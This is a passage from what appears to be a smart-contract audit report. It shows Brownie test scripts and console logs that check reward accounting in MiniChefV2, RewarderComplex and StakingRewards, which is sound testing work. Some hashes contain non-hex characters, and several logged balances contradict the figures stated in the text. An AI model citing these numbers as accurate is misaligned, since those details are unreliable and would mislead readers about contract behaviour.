lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 0
lptoken1.balanceOf(user2.address) -> 0
sushi.balanceOf(user2.address) -> 0
Call -> minichef.withdrawAndHarvest(0, 1000, user1.address, ('from': user1.address))
Transaction sent: 0x7a88bbae30cc4e94807906356442f90b340eb2ebf50e0a270d95f0407ec300cc
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV2.withdrawAndHarvest confirmed Block: 13416134 Gas used: 68230 (1.02%)

Call -> minichef.withdrawAndHarvest(0, 500, user2.address, ('from': user2.address))
Transaction sent: 0xc21cc8a0408e8e8d771cf3072aa839467014f30431a91a9e01d5f9b23997d98
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV2.withdrawAndHarvest confirmed Block: 13416135 Gas used: 47666 (0.71%)

lptoken1.balanceOf(user1.address) -> 1000
sushi.balanceOf(user1.address) -> 33329475308639842
lptoken1.balanceOf(user2.address) -> 500
sushi.balanceOf(user2.address) -> 16664737654319921

```

User1 receives the 66% of the reward tokens, User2 receives the 33% of the 50% of the reward tokens.

Test 9: harvest(), 1 pool, 100% of the allocPoints, 1 user, half of the reward period

In this test case, there is just one pool in the contract. In the pool only the user1 has deposited 1000 tokens. The duration of the rewards is set to 86400 seconds. In this test, the user1 calls `withdrawAndHarvest` in the second 43200~. As we can see below he received half of the total rewards tokens as expected:

```
Adding 1 pools in MiniChefV2:
1st pool -> minichef.addPool(100, lpToken1.address, rewarder1.address)
Transaction sent: 0xf4594c080e0ccc6e3480a4e3bc0b4fb7523262ca0784acb06ff77fff7ab653
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 17
MiniChefV2.addPool confirmed Block: 13422042 Gas used: 195611 (2.91%)

minichef.totalAllocPoint() -> 100
minichef.poolInfo(0) -> (0, 1634293099, 100)
Transaction sent: 0x1b8e261b2acc4e13c9798364de663899ea4239ff5621e4bb25fd9ab94991aa651
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 18
SUSHI.approve confirmed Block: 13422043 Gas used: 44186 (0.66%)

Transaction sent: 0x51f8494005f85dec5302f243bf0ab4220406ea7e56e30b2bc36e9e8f58a78d42
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
SUSHI.transfer confirmed Block: 13422044 Gas used: 36075 (0.54%)

minichef.sushiPerSecond() -> 0
Calling -> minichef.fundRewards(1000000000000000000, 86400, {'from': owner.address})
Transaction sent: 0x5ca9b24829001422776dbde9f4863cdc3464dcd2f011e200905d8ef18bb289
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 20
MiniChefV2.fundRewards confirmed Block: 13422045 Gas used: 92021 (1.37%)

minichef.sushiPerSecond() -> 11574074074074
Transaction sent: 0x20cc3f3246f745e8990094e14ef060f1be169df947bb951701abd16ac3f84ae
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lpToken.approve confirmed Block: 13422046 Gas used: 44126 (0.66%)

Transaction sent: 0x623bcd498e2aaab592d4ddfab2d3cd929be898ef191a8c7818914ea60d5c4a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.deposit confirmed Block: 13422047 Gas used: 89855 (1.34%)

Sleeping 43200 seconds...
lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 0
Call -> minichef.withdrawAndHarvest(0, 1000, user1.address, {'from': user1.address})
Transaction sent: 0x0b366a99cbac380882c193dd8c5f37971908bc48c131d7f1f8cdal399ed50e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV2.withdrawAndHarvest confirmed Block: 13422049 Gas used: 56211 (0.84%)

lpToken1.balanceOf(user1.address) -> 1000
sushi.balanceOf(user1.address) -> 500011574074070874

Sleeping another 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0x2701df4d99e119715e0052845974ba038eaf21041b1aac93rd95a4a680dbee9
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 3
MiniChefV2.harvest confirmed Block: 13422051 Gas used: 36507 (0.54%)

lpToken1.balanceOf(user1.address) -> 1000
sushi.balanceOf(user1.address) -> 500011574074070874
```

Test 10: harvest(), 1 pool, 100% of the allocPoints, 2 users, half of the reward period 1 user, the other half another

In this test case, there is just one pool in the contract. In the pool only the user1 has deposited 1000 tokens. The duration of the rewards is set to 86400 seconds. In this test, the user1 calls `withdrawAndHarvest` in the second 43200~. Then, he performs a deposit of those 1000 tokens as the user2 `minichef.deposit(0, 1000, user2.address, {'from': user1.address})`

Then after the whole 86400 period is over, user2 calls `harvest`. User1 and User2, both receive half of the total reward tokens:

```

Adding 1 pools in MiniChefV2:
1st pool -> minichef.addPool(100, lpToken1.address, rewarder1.address)
Transaction sent: 0x9f5dc015b52c3cc15f0e37e3e73c3e759d35a5f8d42923f7bbee8d86d840d91
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 16
MiniChefV22.addPool confirmed Block: 13422177 Gas used: 195611 (2.91%)

minichef.totalAllocPoint() -> 100
minichef.poolInfo(0) -> (0, 1634294474, 100)
Transaction sent: 0x7f563717e4d07efdc05633de643164bc76232c0f9f0be293f59cfe795ab275
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 17
SUSHI.approve confirmed Block: 13422178 Gas used: 44186 (0.66%)

Transaction sent: 0xd97d3c477de22f59be22131f17451690d3993cba93690c7de2706232ab15d0b1
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 18
SUSHI.transfer confirmed Block: 13422179 Gas used: 36075 (0.54%)

minichef.sushiPerSecond() -> 0
Calling -> minichef.fundRewards(1000000000000000000, 86400, {'from': owner.address})
Transaction sent: 0x59783f2b4301e710ebf0f9e9329a0cc01d9a5daba35a162343985f036afdc5
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
MiniChefV22.fundRewards confirmed Block: 13422180 Gas used: 92021 (1.37%)

minichef.sushiPerSecond() -> 11574074074074
Transaction sent: 0x17282eb5ecbe53599a827aae3hd57dfd0a9b505429204f5d4ff0e47836d9ac92
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lpToken.approve confirmed Block: 13422181 Gas used: 44126 (0.66%)

Transaction sent: 0x42e6c5f3342b01e492d620c4bbce66f143855270d8f5aa228e34cb7fdd25ba8
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV22.deposit confirmed Block: 13422182 Gas used: 89859 (1.34%)

Sleeping 43200 seconds...
lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 0
lpToken2.balanceOf(user2.address) -> 1000
sushi.balanceOf(user2.address) -> 0
Call -> minichef.withdrawAndHarvest(0, 1000, user1.address, {'from': user1.address})
Transaction sent: 0xcbbab9fc27d00018b0774fe1901adfb4d6459438ac70fefa3f8960588260b28ea
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV22.withdrawAndHarvest confirmed Block: 13422184 Gas used: 56211 (0.84%)

Call -> minichef.deposit(0, 1000, user2.address, {'from': user1.address})
Transaction sent: 0xc2c8d8aac0a497693c0bb338a54c20906c4b1eeaa54a59a56c2940906cd495b2
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 3
lpToken.approve confirmed Block: 13422185 Gas used: 29126 (0.43%)

Transaction sent: 0xd1e35556e2fe59d6342f3510a96fe4634772e3530413ca486f73adb098a84
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 4
MiniChefV22.deposit confirmed Block: 13422186 Gas used: 83304 (1.24%)

lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 500011574074070874

Sleeping another 43200 seconds...
Call -> minichef.harvest(0, user2.address, {'from': user2.address})
Transaction sent: 0x2a048858c835ac5e14a7671850alcd1d2283d3d12f1fff08137b7f2459d4e0
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
MiniChefV22.harvest confirmed Block: 13422188 Gas used: 71768 (1.07%)

lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 500011574074070874
lpToken2.balanceOf(user2.address) -> 1000
sushi.balanceOf(user2.address) -> 4989653777774578

```

## Test 11: Calling fundRewards()twice

These were the steps followed in this test case:

1. `minichief.fundRewards(1000000000000000000, 86400, {'from': owner.address})` was called.
2. User1 deposited 1000 tokens into the only pool.
3. 43200 seconds later: `minichief.fundRewards(1000000000000000000, 86400, {'from': owner.address})` was called a second time.
4. User1 called `minichief.harvest(0, user1.address, {'from': user1.address})` receiving 500023148148144948 reward tokens.
5. 43200 seconds later: User1 called a second time `minichief.harvest(0, user1.address, {'from': user1.address})` increasing his total reward tokens balance to 1000034722222215822.
6. 43200 seconds later: User1 called a third time `minichief.harvest(0, user1.address, {'from': user1.address})` increasing his total reward tokens balance to 1500034722222212622.
7. 43200 seconds later: User1 called a fourth time `minichief.harvest(0, user1.address, {'from': user1.address})` increasing his total reward tokens balance to 1999999999999987200.
8. Further calls to `minichief.harvest` were reverted as there were no more reward tokens to distribute.

```

Calling -> minichief.fundRewards(1000000000000000000, 86400, {'from': owner.address})
Transaction sent: 0xc0d42b795117644b7bf781a96963672f1224d69c5e0b46b23879eaf48cb29
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
MiniChefV22.fundRewards confirmed Block: 13422401 Gas used: 92021 (1.37%)

minichief.sushiPerSecond() -> 11574074074074
Transaction sent: 0x7b72e2768f8e80827015b294c08fb33b51be10e323b9c949df07dd2fe572075
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lpToken.approve confirmed Block: 13422402 Gas used: 44126 (0.66%)

Transaction sent: 0x922975ee5e7ae8a53eee80bc54e590772a2a93bb3d731a4fee0f2085ff38e4
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV22.deposit confirmed Block: 13422403 Gas used: 76012 (1.13%)

Sleeping 43200 seconds...
Transaction sent: 0x714cf4c919e556fb0cd0f474c270efb186fald01a2efdd84cf9df128ff3530
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 20
SUSHI.approve confirmed Block: 13422405 Gas used: 24986 (0.37%)

Transaction sent: 0x44fe46415ea3bb14865291ad6d13cca47d1a956074d90a0f1c79c27b04d9996f
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 21
SUSHI.transfer confirmed Block: 13422406 Gas used: 21075 (0.31%)

minichief.sushiPerSecond() -> 11574074074074
Calling -> minichief.fundRewards(1000000000000000000, 86400, {'from': owner.address})
Transaction sent: 0xd2392dbcc999990e3ca0d6416e0386ecbca370bb6f0b874bbe951616cb63d9
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 22
MiniChefV22.fundRewards confirmed Block: 13422407 Gas used: 44660 (0.66%)

lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 0

Call -> minichief.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0x32a625f0cbalef466ce71b32098b1d0bef8b92af10bae44859a9fb00c74968439
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV22.harvest confirmed Block: 13422408 Gas used: 70959 (1.06%)

lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 500023148148144948

Sleeping another 43200 seconds...
Call -> minichief.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0xf1c1cc000b2656da0774c045904fee6a98685075246be483bd459eb832ebf37
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 3
MiniChefV22.harvest confirmed Block: 13422410 Gas used: 70959 (1.06%)

lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 1000034722222215822
    
```

```

Sleeping another 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0x004722d7a4dedac1f79bcbce3a3be37193d52bd5f2242ecdd780a2eb830ea272a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 4
MiniChefV22.harvest confirmed Block: 13422412 Gas used: 70959 (1.06%)

lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 150003472222212622

Sleeping another 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0xa2d60f2b558a55488693a5c8ec6ef9e0e6ef98d59ald0cffff578301822a0e7
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 5
MiniChefV22.harvest confirmed Block: 13422414 Gas used: 71768 (1.07%)

lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 199999999999997200

Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0xf378f0cfc29deeb55bd08cb7c5e3d23cc72c5fd63be9c4136c467618cce76d5c
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 6
MiniChefV22.harvest confirmed (BoringMath: Underflow) Block: 13422416 Gas used: 30651 (0.46%)

lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 199999999999997200

```

After this execution we can see that:

```

minichef.fundRewards(1000000000000000000, 86400, {'from': owner.address})
plus
minichef.fundRewards(1000000000000000000, 86400, {'from': owner.address})
equals
minichef.fundRewards(2000000000000000000, 172800, {'from':
owner.address})

```

## Test 12: resetRewardsDuration()

These were the steps followed in this test case:

1. `minichef.fundRewards(1000000000000000000, 86400, {'from': owner.address})` was called.
2. User1 deposited 1000 tokens: `minichef.deposit(0, 1000, user1.address, {'from': user1.address})`
3. 43200 seconds later: User1 called `minichef.harvest(0, user1.address, {'from': user1.address})` receiving 499999999999996800 reward tokens.
3. `minichef.resetRewardsDuration(86400)` was called.
4. 43200 seconds later: User1 called `minichef.harvest(0, user1.address, {'from': user1.address})` increasing his total reward tokens balance to 749999999999996874.
4. 43200 seconds later: User1 called `minichef.harvest(0, user1.address, {'from': user1.address})` increasing his total reward tokens balance to 999988425925862874.

```

Adding 1 pools in MiniChefV2:
1st pool -> minichef.addPool(100, lpToken1.address, rewarder1.address)
Transaction sent: 0xb7caa7452921c963bd3a98b3408534dfdd31f43b0012c603abee90fa0c9f6c1f
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 16
MiniChefV2.addPool confirmed Block: 13422398 Gas used: 198611 (2.91%)

minichef.totalAllocPoints() -> 100
minichef.poolInfo(0) -> (0, 1634301692, 100)
Transaction sent: 0x3b89bb711d5012ef1ab21b9bdb92a96107dc50c14f7f75797390cb0dddcd1d1da
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 17
SUSHI.approve confirmed Block: 13422399 Gas used: 44186 (0.66%)

Transaction sent: 0x98284e9e7122f8551bc23539727814707d68019efa51771c9b315bf89e44d
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 18
SUSHI.transfer confirmed Block: 13422400 Gas used: 51075 (0.76%)

minichef.sushiPerSecond() -> 0
Calling -> minichef.fundRewards(1000000000000000000, 86400, {'from': owner.address})
Transaction sent: 0xc0dd2b78511764b7bf781a89693672fbf1224d69c5e0b46b23879eaf48cb29
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
MiniChefV2.fundRewards confirmed Block: 13422401 Gas used: 92021 (1.37%)

minichef.sushiPerSecond() -> 11574074074074
Transaction sent: 0x7b72e2766f8e8082f015b294c08fb33b51be101e323b9c949df07dd2fe572075
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lpToken.approve confirmed Block: 13422402 Gas used: 44126 (0.66%)

Transaction sent: 0x0f29798e8c7ae8a630ccc0bc54e590772a2a93b3d731afec0f2085ff38e4
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.deposit confirmed Block: 13422403 Gas used: 89855 (1.34%)

Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0x22a625a80baef46ce671b32899b1d0bcf8b92af10ba644859afb0c74968439
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV2.harvest confirmed Block: 13422405 Gas used: 70959 (1.06%)

lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 499999999999996800
Call -> minichef.resetRewardsDuration(86400)
Transaction sent: 0xae7a78035bfff3b7934c3c528d4373a404bf082a1952fa568a9b679130e61b4
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 20
MiniChefV2.resetRewardsDuration confirmed Block: 13422406 Gas used: 57475 (0.86%)

Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0xf1c1cc00b2656da0774c045904fee6a98685075246be483bd453eb8826bf37
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 3
MiniChefV2.harvest confirmed Block: 13422408 Gas used: 70959 (1.06%)

lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 749999999999996874
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0x09422c7a4dca9f788b0be5e6c8f7f03a52bd5f2242ecd780a2eb830ea272a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 4
MiniChefV2.harvest confirmed Block: 13422410 Gas used: 71768 (1.07%)

lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 999988425925862874

```

After 43200 seconds the user1 had got 499999999999996800 reward tokens but after that, as the rewards duration was reset, the amount of rewards token received in the same period of time decreased by a half as expected.

## Test 13: extendRewardsViaFunding()

These were the steps followed in this test case:

1. `minichef.fundRewards(1000000000000000000, 86400, {'from': owner.address})` was called.
2. User1 deposited 1000 tokens: `minichef.deposit(0, 1000, user1.address, {'from': user1.address})`
3. 43200 seconds later: User1 called `minichef.harvest(0, user1.address, {'from': user1.address})` receiving 500011574074070874 reward tokens.
4. `ExtendRewardsViaFunding` was called by adding the same amount that was used in `fundRewards`: `minichef.extendRewardsViaFunding(1000000000000000000, 1, {'from': owner.address})`
5. Every 43200 seconds `harvest` was called. We can see how the reward rate was not changed and the user kept receiving the same amount of tokens after the same period of time and also, since the amount was the same initial amount used in `fundRewards` we can see how the duration of the rewards was doubled as expected.

```

Calling -> minichef.fundRewards(1000000000000000000, 86400, {'from': owner.address})
Transaction sent: 0x97a900770acc4270194f585326a6a00971501f461e62b44db641e9bf83e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
MiniChefV22.fundRewards confirmed Block: 13424080 Gas used: 92021 (1.37%)

minichef.sushiPerSecond() -> 11574074074074
Transaction sent: 0x6baa4b74f491d971e22ef806f4e9eff9dce71e9917b33630f4d0335450e3e1
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lpToken.approve confirmed Block: 13424081 Gas used: 44126 (0.66%)

Transaction sent: 0x7a76607079842c15504952748b30711477acd5de32a2963fbd6e7f5625323e1e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV22.deposit confirmed Block: 13424082 Gas used: 89855 (1.34%)

Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0x97e8b0e6b0a8694c07d0892fe98ba81c7a625bb0ab8547693b744bf6a9d85a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV22.harvest confirmed Block: 13424084 Gas used: 70959 (1.06%)

lpoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 500011574074070874
Sleeping 43200 seconds...
Call -> minichef.extendRewardsViaFunding(1000000000000000000, 1, {'from': owner.address})
Transaction sent: 0x3e8c00708d30725024f73549e58b1b372a362c274387068ae9fd19d0ceb4f494
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 20
MiniChefV22.extendRewardsViaFunding confirmed Block: 13424086 Gas used: 38217 (0.57%)

Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0x030559a85e95bc2446e88c6f4763417e379ef9b9ebc6bf0a17a0ac29537fb50
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 3
MiniChefV22.harvest confirmed Block: 13424087 Gas used: 70959 (1.06%)

lpoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 100003472222215822
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0x3d0c7f2d4294954d5401ef5b27314558449e80cedbfb68b2356d2a41651945
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 4
MiniChefV22.harvest confirmed Block: 13424089 Gas used: 70959 (1.06%)

lpoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 150003472222212622
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0xa222fca8197be936b48c99a1bf0ca4f14f1dbdc193067c0e206a33f6398b893
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 5
MiniChefV22.harvest confirmed Block: 13424091 Gas used: 71768 (1.07%)

lpoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 1999988425925913126
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0xc6097faa4ca4095f9ebda5febbe870a4e667b5b4d93108f4181e9ccaa4f4c
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 6
MiniChefV22.harvest confirmed (BoringMath: Underflow) Block: 13424093 Gas used: 30651 (0.46%)

lpoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 1999988425925913126

```





## 4.10 REWARDERCOMPLEX & REWARDERSIMPLE CONTRACT

The contract `RewarderComplex` contains the following functions:

- `onSushiReward()`
- `pendingTokens()` - view
- `poolLength()` - view
- `add()`
- `set()`
- `pendingToken()` - view
- `massUpdatePools()`
- `updatePool()`

On the other hand, The contract `RewarderSimple` contains these 2 functions:

- `onSushiReward()`
- `pendingTokens()` - (Only callable by `MASTERCHEF_V2`)

The function `onSushiReward` is used by `MiniChefV2` contract:

```
_rewarder.onSushiReward(pid, to, to, 0, user.amount); (MiniChefV2.sol:286)
_rewarder.onSushiReward(pid, msg.sender, to, 0, user.amount);
(MiniChefV2.sol:309)
_rewarder.onSushiReward( pid, msg.sender, to, _pendingSushi, user.
amount); (MiniChefV2.sol:336)
_rewarder.onSushiReward(pid, msg.sender, to, _pendingSushi, user.amount
); (MiniChefV2.sol:361)
```

Most of the testing of these 2 contracts were done in the `MiniChefV2` contract section, although we ran the following tests in the `RewarderComplex` contract:

Listing 41: Brownie testing script (Lines 1,2,3,4)

```
1 WEIGHT1 = 100
2 WEIGHT2 = 100
3 AMOUNT1 = 1000
4 AMOUNT2 = 1000
5
6 sushi = owner.deploy(SUSHI)
7 # constructor(IERC20 _sushi, address _firstOwner) public
8 minichef = owner.deploy(MiniChefV22, sushi.address, owner.address)
9 # constructor (IERC20 _rewardToken, uint256 _tokenPerBlock,
    address _MASTERCHEF_V2) public {
10 rewardercomplex = owner.deploy(RewarderComplex, sushi.address,
    100, minichef.address)
11
12 rewardercomplex.add(WEIGHT1, 0, {'from': owner.address})
13 rewardercomplex.add(WEIGHT2, 1, {'from': owner.address})
14
15 lptoken1 = owner.deploy(lpToken)
16 lptoken2 = owner.deploy(lpToken)
17 lptoken1.mint(user1.address, AMOUNT1)
18 lptoken2.mint(user2.address, AMOUNT2)
19 minichef.addPool(AMOUNT1, lptoken1.address, rewardercomplex.
    address)
20 minichef.addPool(AMOUNT2, lptoken2.address, rewardercomplex.
    address)
21
22 # function onSushiReward (uint256 pid, address _user, address to,
    uint256, uint256 lpToken)
23 rewardercomplex.onSushiReward(0, user1.address, user1.address, 0,
    AMOUNT1, {'from': minichef.address})
24 lptoken1.approve(minichef.address, AMOUNT1, {'from': user1.address
    })
25 lptoken1.transfer(minichef.address, AMOUNT1, {'from': user1.
    address})
26
27 rewardercomplex.onSushiReward(1, user2.address, user2.address, 0,
    AMOUNT2, {'from': minichef.address})
28 lptoken2.approve(minichef.address, AMOUNT2, {'from': user2.address
    })
29 lptoken2.transfer(minichef.address, AMOUNT2, {'from': user2.
    address})
30
31 rewardercomplex.massUpdatePools([0,1])
32
```

```

33 output.redd("rewardercomplex.pendingToken(0, user1.address) -> " +
    str(rewardercomplex.pendingToken(0, user1.address)))
34 output.redd("rewardercomplex.pendingToken(1, user2.address) -> " +
    str(rewardercomplex.pendingToken(1, user2.address)))
35
36 output.yelloww("Mining 100 blocks...")
37 chain.mine(100)
38 output.success("100 blocks mined")
39
40 output.redd("rewardercomplex.pendingToken(0, user1.address) -> " +
    str(rewardercomplex.pendingToken(0, user1.address)))
41 output.redd("rewardercomplex.pendingToken(1, user2.address) -> " +
    str(rewardercomplex.pendingToken(1, user2.address)))

```

#### 1st test

```

- WEIGHT1 = 100
- WEIGHT2 = 100
- AMOUNT1 = 1000
- AMOUNT2 = 1000
rewardercomplex.pendingToken(0, user1.address) -> 300
rewardercomplex.pendingToken(1, user2.address) -> 150
Mining 100 blocks...
[✓] 100 blocks mined
rewardercomplex.pendingToken(0, user1.address) -> 5300
rewardercomplex.pendingToken(1, user2.address) -> 5150

```

#### 2nd test

```

- WEIGHT1 = 100
- WEIGHT2 = 50
- AMOUNT1 = 1000
- AMOUNT2 = 1000
rewardercomplex.pendingToken(0, user1.address) -> 400
rewardercomplex.pendingToken(1, user2.address) -> 100
Mining 100 blocks...
[✓] 100 blocks mined
rewardercomplex.pendingToken(0, user1.address) -> 7066
rewardercomplex.pendingToken(1, user2.address) -> 3433

```

### 3rd test

```
- WEIGHT1 = 100
- WEIGHT2 = 100
- AMOUNT1 = 1000
- AMOUNT2 = 10
rewardercomplex.pendingToken(0, user1.address) -> 300
rewardercomplex.pendingToken(1, user2.address) -> 150
Mining 100 blocks...
[✓] 100 blocks mined
rewardercomplex.pendingToken(0, user1.address) -> 5300
rewardercomplex.pendingToken(1, user2.address) -> 5150
```

Rewards are allocated based on both pool weights and the % of staked tokens in each reward pool. As both users here got the 100% of the tokens in their respective pools, and the pools have the same weights, they receive the same amounts as intended.

## 4.11 STAKINGREWARDS CONTRACT

The contract `StakingRewards` is based on this [Synthetixio contract](#) with some differences:

1. `StakingRewards` is `Ownable`.
2. `rewardsDuration` is set to 1 day instead of 7.
3. Implements a new function called `stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s)`

`StakingRewards` implements the following getter functions:

- `totalSupply()`
- `balanceOf(address account)`
- `lastTimeRewardApplicable()`
- `rewardPerToken()`
- `earned(address account)`
- `getRewardForDuration()`

And the following external/public functions:

- `stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s)`
- `stake(uint256 amount)`
- `withdraw(uint256 amount)`
- `getReward()`
- `exit()`
- `notifyRewardAmount(uint256 reward) (onlyOwner)`
- `recoverERC20(address tokenAddress, uint256 tokenAmount) (onlyOwner)`
- `setRewardsDuration(uint256 _rewardsDuration) (onlyOwner)`

All the external functions that perform a `transfer` are protected with the `nonReentrant` modifier following the check-effects-interactions pattern.

All the view functions are working as expected.

`_totalSupply` and `_balance` are updated every time someone calls `stake` or `withdraw` function:

```
>>> stakingRewards.totalSupply()
10000000000000000000000
>>> lpToken.transfer(user2.address, 12345)
Transaction sent: 0xe6aa5a492eb2a9a16960831b5815de014e748d25bb421043db930e28335f837a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
Eng.transfer confirmed Block: 13390397 Gas used: 55674 (0.83%)
<Transaction '0xe6aa5a492eb2a9a16960831b5815de014e748d25bb421043db930e28335f837a'>
>>> lpToken.approve(stakingRewards.address, 12345, {'from': user2})
Transaction sent: 0x07df4f20bdf464e25ff45a2715132406ee9b68dd3130648db9f84f63a9c943b
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Eng.approve confirmed Block: 13390398 Gas used: 45538 (0.68%)
<Transaction '0x07df4f20bdf464e25ff45a2715132406ee9b68dd3130648db9f84f63a9c943b'>
>>> stakingRewards.stake(12345, {'from': user2})
Transaction sent: 0x7ee71e5e602787992887ea9b8fbdadb344a4a1f1190dd728dab9586ed4cc2a76
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
StakingRewards.stake confirmed Block: 13390399 Gas used: 101756 (1.51%)
<Transaction '0x7ee71e5e602787992887ea9b8fbdadb344a4a1f1190dd728dab9586ed4cc2a76'>
>>> stakingRewards.totalSupply()
10000000000000000000000
>>> stakingRewards.withdraw(345, {'from': user2})
Transaction sent: 0x6dc63a3bd9fd6b6cdf5dff2b243bc64455adfa1955e2014cafee8b382777
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
StakingRewards.withdraw confirmed Block: 13390400 Gas used: 96572 (1.44%)
<Transaction '0x6dc63a3bd9fd6b6cdf5dff2b243bc64455adfa1955e2014cafee8b382777'>
>>> stakingRewards.totalSupply()
10000000000000000000000
```

It is not possible to withdraw an amount higher than the balance as, thanks to `SafeMath`, the operation would revert in the line #100:  
`_balances[msg.sender] = _balances[msg.sender].sub(amount);`

The function `lastTimeRewardApplicable` will return the minimum value between the current `block.timestamp` and the `periodFinish` variable:

```
>>> stakingRewards.lastTimeRewardApplicable()
1633860541
>>> chain.time()
163386053
```

The functions `rewardPerToken` and `earned` were also tested, see [TEST 1](#).

Finally, in the calculation of the rewards we have detected some imprecision. In this case the staker will receive 6400 reward tokens less than what he actually deserved:

```
>>> vestAmount = 10000000000000000000000
>>> msg.transfer(stakingRewards.address, vestAmount)
Transaction sent: 0x0c9778a9e0b0af6e599267302532110df7acbc93a15bf2e839b3038dc2723e45a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
Eng.transfer confirmed Block: 13390394 Gas used: 55734 (0.83%)
<Transaction '0x0c9778a9e0b0af6e599267302532110df7acbc93a15bf2e839b3038dc2723e45a'>
>>> stakingRewards.notifyRewardAmount(vestAmount)
Transaction sent: 0xeeebdc77a65d079d784c232d8288467bc6cb4096ac8f0675e0a044d152bf27c42
